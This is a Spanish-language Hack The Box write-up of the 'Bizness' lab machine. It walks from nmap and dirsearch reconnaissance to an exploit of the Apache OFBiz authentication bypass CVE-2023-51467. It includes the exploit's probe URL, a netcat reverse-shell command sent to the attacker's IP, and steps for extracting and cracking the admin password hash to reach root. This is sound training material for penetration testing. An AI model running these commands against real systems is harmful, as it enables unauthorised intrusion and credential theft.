Bizness - HTB
Bizness es una máquina de HackTheBox catalogada como de nivel fácil. Para obtener acceso, deberemos vulnerar un OFBiz mediante un exploit que nos devolverá una reverse shell. Una vez dentro, tendremos que buscar un hash en los archivos de OFBiz. Cuando logremos descifrarlo, obtendremos la contraseña de root.
Reconocimiento
Comienzo realizando un ping a la máquina para comprobar si se encuentra encendida y es accesible.
ping -c 1 10.10.11.252
PING 10.10.11.252 (10.10.11.252) 56(84) bytes of data.
64 bytes from 10.10.11.252: icmp_seq=1 ttl=63 time=45.2 ms
--- 10.10.11.252 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 45.200/45.200/45.200/0.000 ms
A continuación, realizo un escaneo nmap para descubrir que puertos de la máquina se encuentran abiertos. Uso los siguientes parámetros:
- -p-: Escanear todos los puertos (65535).
- –open: Mostrar solo los puertos abiertos.
- -sS: Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- –min-rate 5000: Indica que el escaneo no vaya más lento que 5000 paquetes por segundo.
- -vvv: El modo verbose muestra la información según se va encontrando.
- -n: No realizar resolución de DNS. Así evitamos que el escaneo dure más tiempo del necesario.
- -Pn: Deshabilitar el descubrimiento de host mediante ping.
- -oG: Exportar el resultado a un fichero en una sola línea para que podamos usar comandos como: grep, awk, sed, etc.
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.252 -oG allports
[sudo] password for kali:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 12:21 EDT
Initiating SYN Stealth Scan at 12:21
Scanning 10.10.11.252 [65535 ports]
Discovered open port 80/tcp on 10.10.11.252
Discovered open port 22/tcp on 10.10.11.252
Discovered open port 443/tcp on 10.10.11.252
Completed SYN Stealth Scan at 12:22, 14.95s elapsed (65535 total ports)
Nmap scan report for 10.10.11.252
Host is up, received user-set (0.048s latency).
Scanned at 2024-05-16 12:21:55 EDT for 15s
Not shown: 58800 closed tcp ports (reset), 6732 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.02 seconds
Raw packets sent: 75526 (3.323MB) | Rcvd: 59041 (2.362MB)
El escaneo detecta tres puertos abiertos:
- 22 (SSH)
- 80 (HTTP)
- 443 (HTTPS)
Realizo otro nmap para analizar los servicios y versiones de los puertos encontrados. Los comandos usados son:
- -sCV: Detectar el servicio y aplicar scripts básicos de reconocimiento.
- -p: Indicar los puertos a escanear.
- -oN: Exportar el resultado a un archivo.
nmap -sVC 10.10.11.252 -oN target
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-16 12:26 EDT
Nmap scan report for 10.10.11.252
Host is up (0.045s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
| tls-alpn:
|_ http/1.1
|_http-server-header: nginx/1.18.0
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.89 seconds
Veo que las peticiones HTTP se están redirigiendo a “bizness.htb”. Edito el /etc/hosts para que cuando se intente resolver “bizness.htb” utilice la ip de la máquina víctima.
nano /etc/hosts
10.10.11.252 bizness.htb
El escaneo no ha dado ningún resultado interesante, así que utilizo whatweb para ver más información sobre las tecnologías que usa.
whatweb https://10.10.11.252
https://10.10.11.252 [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[nginx/1.18.0], IP[10.10.11.252], RedirectLocation[https://bizness.htb/], Title[301 Moved Permanently], nginx[1.18.0]
https://bizness.htb/ [200 OK] Bootstrap, Cookies[JSESSIONID], Country[RESERVED][ZZ], Email[info@bizness.htb], HTML5, HTTPServer[nginx/1.18.0], HttpOnly[JSESSIONID], IP[10.10.11.252], JQuery, Lightbox, Script, Title[BizNess Incorporated], nginx[1.18.0]
Para enumerar directorios, utilice la herramienta dirsearch. Le indico que no me muestre varios códigos de estado HTTP.
dirsearch -u https://bizness.htb/ --exclude-status 403,404,500,502,400,401
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/kali/bizness/nmap/reports/https_bizness.htb/__24-05-16_12-44-49.txt
Target: https://bizness.htb/
[12:44:49] Starting:
[12:44:56] 302 - 0B - /accounting -> https://bizness.htb/accounting/
[12:45:05] 302 - 0B - /catalog -> https://bizness.htb/catalog/
[12:45:06] 302 - 0B - /common -> https://bizness.htb/common/
[12:45:07] 302 - 0B - /content -> https://bizness.htb/content/
[12:45:07] 302 - 0B - /content/ -> https://bizness.htb/content/control/main
[12:45:07] 302 - 0B - /content/debug.log -> https://bizness.htb/content/control/main
[12:45:07] 200 - 34KB - /control/
[12:45:07] 200 - 34KB - /control
[12:45:08] 200 - 11KB - /control/login
[12:45:10] 302 - 0B - /error -> https://bizness.htb/error/
[12:45:10] 302 - 0B - /example -> https://bizness.htb/example/
[12:45:13] 302 - 0B - /images -> https://bizness.htb/images/
[12:45:14] 302 - 0B - /index.jsp -> https://bizness.htb/control/main
[12:45:27] 200 - 21B - /solr/admin/file/?file=solrconfig.xml
[12:45:27] 200 - 21B - /solr/admin/
[12:45:27] 302 - 0B - /solr/ -> https://bizness.htb/solr/control/checkLogin/
Task Completed
Accedo a la web y me encuentro con una landing page.

Voy al login que encontró dirsearch y encuentro un Apache Open For Business (OFBiz).

Análisis de vulnerabilidades
Busco vulnerabilidades de OFBiz y encuentro el CVE-2023-51467. También hay un github con una PoC: GitHub - jakabakos/Apache-OFBiz-Authentication-Bypass. Clono su reopositorio.
git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git
Reviso el script para ver como actúa. Me llama la atención que detecta si es vulnerable o no mediante la URL “/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y”, si devuelve “PONG” significa que la web puede ser explotada.
def scan(url):
"""
Perform a basic scan on the specified URL.
"""
print("[+] Scanning started...")
try:
target_url = f"{url}/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y"
response = requests.get(target_url, verify=False)
response.raise_for_status() # Raise an HTTPError for bad responses (4xx or 5xx)
if "PONG" in response.text:
print("[+] Apache OFBiz instance seems to be vulnerable.")
else:
print("[-] Apache OFBiz instance seems NOT to be vulnerable.")
except requests.exceptions.RequestException as e:
print(f"[-] LOG: An error occurred during the scan: {e}")
Lanzo el escaneo y me dice que es vulnerable.
python3 exploit.py --url https://bizness.htb
[+] Scanning started...
[+] Apache OFBiz instance seems to be vulnerable.
Por curiosidad, realizo la prueba a mano y compruebo como me devuelve “PONG”.

Explotación de vulnerabilidades
El exploit es capaz de ejecutar comandos, por lo que me pongo en escucha por netcat y lanzo el script.
python3 exploit.py --url https://bizness.htb --cmd 'nc -c bash 10.10.14.174 4321'
Consigo acceso a la máquina Bizness como el usuario ofbiz.
nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.10.14.174] from (UNKNOWN) [10.10.11.252] 37068
whoami
ofbiz
Para tener una consola interactiva y que por ejemplo detecte un ctrl.c hay que hacer un tratamiento de la tty. Ejecuto script /dev/null -c bash, hago ctrl+z, escribo “stty raw -echo; fg”, introduzco “reset xterm” y doy un intro. Con esto he reiniciado la configuración de la terminal.
ofbiz@bizness:/opt/ofbiz$
La shell todavía no es interactiva del todo. Podemos ver que la variable de entorno $TERM tiene el valor dump y no xterm. Podemos arreglar esto de la siguiente forma.
ofbiz@bizness:/opt/ofbiz$ echo $TERM
dumb
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
La proporción de la consola no es igual a la de terminal. Miro el tamaño con stty size.
ofbiz@bizness:/opt/ofbiz$ stty size
24 80
En la máquina hay 24 filas y 80 columnas, pero en mi kali son 63 filas y 281 columnas. Las modifico para que tengan el mismo espacio.
ofbiz@bizness:/opt/ofbiz$ stty rows 63 columns 281
Leo la flag del usuario.
ofbiz@bizness:~$ cat user.txt
21********************70
Escalada de privilegios
Primero reviso el UID, GID y grupos del usuario ofbiz.
ofbiz@bizness:/$ id
uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator)
Listo desde la raíz privilegios SUID de root para ver si encuentro binarios que abusar. No hay nada interesente.
ofbiz@bizness:/$ find \-perm -4000 -user root 2>/dev/null
./usr/bin/mount
./usr/bin/su
./usr/bin/fusermount
./usr/bin/sudo
./usr/bin/newgrp
./usr/bin/chsh
./usr/bin/passwd
./usr/bin/gpasswd
./usr/bin/chfn
./usr/bin/umount
./usr/lib/openssh/ssh-keysign
./usr/lib/dbus-1.0/dbus-daemon-launch-helper
Vuelvo al directorio de ofbiz para ver si encuentro algo en los archivos del software. Tras un rato investigando, encuentro un archivo con una posible contraseña pero esta “salada”.
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ cat AdminUserLoginData.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
<entity-engine-xml>
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>
Investigando más, llego a la ruta /opt/ofbiz/runtime/data/derby/ofbiz/seg0. Aquí hay una gran cantidad de archivos, por lo que hago un grep para buscar por “Password”.
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ grep -ir Password
grep: c6010.dat: binary file matches
grep: c6850.dat: binary file matches
grep: c5fa1.dat: binary file matches
grep: c180.dat: binary file matches
grep: c54d0.dat: binary file matches
grep: ca1.dat: binary file matches
grep: c6021.dat: binary file matches
grep: c60.dat: binary file matches
grep: c5f90.dat: binary file matches
grep: c191.dat: binary file matches
grep: c90.dat: binary file matches
grep: c71.dat: binary file matches
grep: c1930.dat: binary file matches
grep: c1c70.dat: binary file matches
Revisando el contenido de cada fichero, veo el hash “$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I” en el archivo “c54d0.dat”.
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
Este parece pertenecer a un admin, así que comienzo a mirar como puedo romperlo. Encuentro una herramienta para romper hashes de OFBiz en el repositorio https://github.com/duck-sec/Apache-OFBiz-SHA1-Cracker.
git clone https://github.com/duck-sec/Apache-OFBiz-SHA1-Cracker
Ejecuto el script utilizando rockyou como diccionario.
python3 OFBiz-crack.py --hash-string '$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I' --wordlist /usr/share/wordlists/rockyou.txt
[+] Attempting to crack....
Found Password: monkeybizness
hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
(Attempts: 1478438)
[!] Super, I bet you could log into something with that!
La contraseña es “monkeybizness”, con ella intento acceder como root.
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ su root
Password:
root@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0#
Consigo ser root y ya puedo leer su flag.
root@bizness:~# cat root.txt
16********************93